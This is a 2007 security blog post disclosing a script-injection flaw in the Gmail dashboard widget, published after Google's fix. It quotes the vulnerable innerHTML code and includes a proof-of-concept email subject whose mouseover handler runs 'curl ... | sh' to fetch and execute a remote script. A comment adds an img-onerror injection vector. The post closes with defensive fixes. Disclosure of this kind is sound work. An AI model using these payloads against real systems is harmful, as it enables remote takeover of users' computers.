« Copyright takes down the "Bubble" | Main | When Widgets Go Bad »

More on widgets: When one e-mail is enough to break a system.

Excuse the widget blogging hiatus, please; I held back on this one till Google had rolled out a fix.

Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the widget.system method. However, the bug in question here does not relate to eval(). Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.

Consider this code fragment:

      var titleText = MessagesTable
           .getTitleTextFromEntryElement(currentEntry);
      titleText =
          '&nbsp;&nbsp;&nbsp;<span class="title-class">' 
          + titleText
          + '</span>';
      if (Prefs.getShowSnippets()) {
        var summaryText = MessagesTable.getSummary(currentEntry);
        summaryText = '<span class="snippet-class"> - ' 
          + summaryText
          + '</span>';
        titleText += summaryText;
      }
      titleText = "<div class='table-overflow-col'>" 
        + titleText + "</div>";
      ...
      titleColumn.innerHTML = titleText;

The use of the non-standard innerHTML property to write to the DOM here means that, if we can inject tags into the titleText variable, we can actually write tags into that document object model.

Instead of reading more code, I sent a first message to my GMail account, with this subject:

 Subject: <i>italic?</i>

Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <script> tags into the subject header failed, though: innerHTML doesn't actually execute scripts right away.

However, this worked:

Subject: <a href="#" onmouseover=
  'var foo=widget.system ("curl http://does-not-exist.org/test
  | sh", null).outputString;'><span class="title-class">hi 
  there</span></a>

As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.

What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.

Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as .innerHTML, or using safer programming constructs such as createTextNode.

The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the W3C Web Application Formats Working Group, which works on a widget format, will have to take on, together with the various widget vendors).

On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.

Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, Orkut was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through cross-site XMLHttpRequest, or through deliberate cross-site script inclusion --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.

I hope to talk more about this at this year's Chaos Communication Congress in Berlin, and perhaps at the Web Conference next April in Beijing.

TrackBack

TrackBack URL for this entry:
http://log.does-not-exist.org/mt/mt-tb.cgi/2115

Comments (2)

Nicely caught. XSS attacks with JavaScript are so prolific, and with JS extending onto the desktop they become quite dangerous. Just as an aside, my favourite XSS JS vector is to embed an img tag with an invalid src URL and use the little known 'onerror' event to fire my evil javascript, ala [img src='invalidurl' onerror='doMyEvilBidding()/]
David F, thanks for the hint -- I had missed that possibility; it would in fact turn the almost noninteractive attack here into a totally automatic one.

Post a comment

(If you haven't left a comment here before, you may need to be approved by the site owner before your comment will appear. Until then, it won't appear on the entry. Thanks for waiting.)

About

This page contains a single entry from the blog posted on December 19, 2007 8:28 PM.

The previous post in this blog was Copyright takes down the "Bubble".

The next post in this blog is When Widgets Go Bad.

Many more can be found on the main index page or by looking through the archives.

Creative Commons License
This weblog is licensed under a Creative Commons License.
Powered by
Movable Type 3.35